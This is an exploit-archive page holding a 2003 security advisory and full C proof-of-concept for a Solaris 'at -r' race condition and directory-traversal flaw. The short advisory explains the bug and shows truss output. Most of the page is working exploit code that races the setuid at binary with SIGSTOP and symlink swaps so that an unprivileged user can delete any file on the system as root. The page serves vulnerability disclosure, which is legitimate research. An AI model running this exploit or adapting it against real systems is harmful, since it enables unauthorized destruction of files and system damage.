exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

solaris-at.c

solaris-at.c
Posted Feb 6, 2003
Authored by Wojciech Purczynski | Site isec.pl

Solaris "at -r" tmp race condition exploit which allows users to remove any file on the system.

tags | exploit
systems | solaris
SHA-256 | 0e4eab68b09f0e8fa8ff07d18d3403760f7028cb038b1899882f303593f7e53a

solaris-at.c

Change Mirror Download
   Solaris 'at' Exploit Code
Summary
The 'at' utility in Solaris has name handling and race condition
vulnerabilities. Using the -r switch to remove a job allows an attacker
to remove any file on the file system as root. Although at filters out
absolute paths, a simple ../ directory traversal maneuver allows an
attacker to remove files out of the allowed boundary.
Details
At utility reads commands from standard input and groups them together
as an at-job, to be executed later.
Each at-job is kept in separate file in at spool directory. At jobs may
be removed if -r option is used with a job-id parameter to the 'at'
command.
However, there are two vulnerabilities within the code that removes
at-job from at spool directory.
At utility does not properly handle job ids specified as a parameter to
the -r option. It allows to remove jobs outside of at's spool directory
if relative path name is used. Only absolute path names are filtered
out.
At verifies ownership of the file and limits the user to remove only its
own at-jobs. Unfortunately, a race condition occurs after at stats the
file and before the file is unlinked. By altering directory structure
between these two system calls, at may be fooled to remove file other
than it expects.
Since this code is executed with full root privileges, these two
vulnerabilities may allow unprivileged users to remove any files on the
file system.
Below is an example of truss output that uncovers the vulnerability:
bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
[...]
chdir("/var/spool/cron/atjobs") = 0
stat64("../../../../tmp/foo", 0xFFBEF360) = 0
[...]
unlink("../../../../tmp/foo") = 0
[...]
Exploit:
Below is attached a working proof-of-concept exploit. It should succeed
after few trials (single dot is printed on each trial):
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define maxjobs 256
#define tmpdir "/tmp"
#define at "/usr/bin/at"
char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];
void cleandirs(void);
void err(char * msg)
{
if (errno) {
int error = errno;
perror(msg);
cleandirs();
errno = error;
exit(errno);
}
}
void gohome(void)
{
char * home;
home = getenv("HOME");
if (!home) {
errno = EINVAL;
err("getenv(\"HOME\")");
}
if (chdir(home) < 0)
err("chdir($HOME)");
}
void cleandirs(void)
{
int no;
char * tmp;
for (no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
unlink(path);
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
rmdir(path);
}
}
void createdirs(char ** argv)
{
int no;
for(no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
int fd;
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
if (mkdir(path, 0755) < 0 && errno != EEXIST)
err("Unable to create directory");
snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
fd = open(path, O_CREAT|O_RDONLY, 0755);
if (fd < 0 && errno != EEXIST)
err("Unable to create file");
close(fd); /* empty file is just fine */
argv[no] = strdup(path);
if (!argv[no])
err("Unable to allocate memory");
}
argv[no] = NULL;
}
pid_t spawnat(char ** argv)
{
int no, fd;
pid_t child;
child = fork();
if (child < 0)
err("Unable to fork");
if (child)
return child;
/* child process */
if (nice(19) < 0)
err("Unable to change priority");
fd = open("/dev/null", O_RDWR);
if (fd < 0)
err("Unable to open /dev/null");
if (dup2(fd, STDIN_FILENO) < 0 ||
dup2(fd, STDOUT_FILENO) < 0 ||
dup2(fd, STDERR_FILENO) < 0)
err("Unable to dup /dev/null");
if (fd > STDERR_FILENO)
close(fd);

execv(argv[0], argv);
err("Unable to execute at binary");
}
int doit(char * target)
{
int no = 0;
char path[MAXPATHLEN+1];
char * argv[maxjobs + 3];
pid_t child;
uid_t uid = getuid();
int result = -1;
argv[0] = at;
argv[1] = "-r";
createdirs(argv+2);
child = spawnat(argv);
while (no < maxjobs) {
struct stat st;
/* check if previous attempt succeeded */
if (stat(target, &st) < 0) {
if (errno == ENOENT) {
result = 0;
break;
} else
err("Unable to stat target file");
}
/* wait until file is deleted */
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
while (stat(path, &st) == 0) ;
if (errno != ENOENT)
err("Unable to stat temporary file");
/* stop the child to exploit race condition */
if (kill(child, SIGSTOP) < 0)
break;
/* find first file that hasn't been removed yet */
while (++no < maxjobs) {
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
if (stat(path, &st) == 0)
break;
if (errno != ENOENT)
err("Unable to stat temporary file");
}

/* all jobs removed - too late */
if (no == maxjobs) {
kill(child, SIGCONT);
break;
}
if (unlink(path) < 0)
err("Unable to remove temporary file");

*strrchr(path, '/') = '\0';

if (rmdir(path) < 0)
err("Unable to remove temporary directory");

if (symlink(targetdir, path) < 0)
err("Unable to create symlink");
if (kill(child, SIGCONT) < 0)
err("Unable to continue child process");
no++;
}
/* avoid zombie processes */
waitpid(child, NULL, 0);
for (no = 0; no < maxjobs; no ++)
free(argv + no + 2);
return result;
}
int main(int argc, char * argv[])
{
char * tmp;
fprintf(stderr,
"
/usr/bin/at -r race condition exploit
Remove any file on the filesystem.
Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research http://isec.pl/
");
gohome();
errno = EINVAL;
if (argc < 2)
err("Required parameter missing");
if (argv[1][0] != '/')
err("Absolute path required");
strncpy(target, argv[1], MAXPATHLEN);
target[MAXPATHLEN] = '\0';
tmp = strrchr(argv[1], '/');
*tmp = '\0';
if (tmp == argv[1])
strcpy(targetdir, "/");
else {
strncpy(targetdir, argv[1], MAXPATHLEN);
targetdir[MAXPATHLEN] = '\0';
}
strncpy(targetfile, tmp+1, MAXPATHLEN);
targetfile[MAXPATHLEN] = '\0';
while (doit(target))
fprintf(stderr, "."); /* przygarnij kropka */
fprintf(stderr, "Success!\n");
cleandirs();
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close